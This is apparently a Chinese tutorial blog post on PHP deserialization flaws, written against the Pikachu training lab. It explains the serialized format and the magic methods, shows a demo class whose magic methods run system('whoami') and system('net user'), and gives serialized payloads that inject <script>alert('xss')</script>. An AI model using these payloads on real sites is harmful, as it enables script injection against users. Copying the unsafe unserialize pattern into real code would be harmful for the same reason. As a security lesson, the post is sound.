反序列化漏洞利用
阿新 • • 發佈:2021-12-30
反序列化:
class S{
public $test="pikachu";
}
$s=new S(); //建立一個物件
serialize($s); //把這個物件進行序列化
序列化後得到的結果是這個樣子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表物件名字長度為一個字元
S:物件的名稱
1:代表物件裡面有一個變數
s:資料型別
4:變數名稱的長度
test:變數名稱
s:資料型別
7:變數值的長度
pikachu:變數值
序列化:
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的結果為pikachu
反序列化和序列化函式本身並沒有問題:但是如果內容使用者可以控制,並且後端不正確的使用了php中的魔術函式,就會導致安全問題
常見的幾個魔法函式:
__construct()當一個物件建立時被呼叫
__destruct()當一個物件銷燬時被呼叫
__toString()當一個物件被當作一個字串使用
__sleep() 在物件在被序列化之前執行
__wakeup將在序列化之後立即被呼叫
class S{
var $test = "pikachu";
function __destruct(){
echo '物件銷燬';
system('whoami');
}
function __construct(){
echo '物件建立';
system('net user');
}
function __toString(){
echo '物件被當作一個字串';
}
function __sleep(){
echo "物件在被序列化之前";
}
function __wakeup(){
echo '在序列化之後立即被呼叫';
}
}
建立一個class,
$a=new S();//當此函式在時,呼叫了 __construct(),__destruct()方法
serialize($a)物件在被序列化之前 __sleep()
靶場中程式碼審計
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,來點勁爆點兒的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
如果接受的值為序列化值,那麼就呼叫$unser->test
O:1:"S":1:{s:4:"test";}
O:1:"S":1:{s:5:"test1";s:25:"<script>alert(1)</script>";}
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
當輸入的值為O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}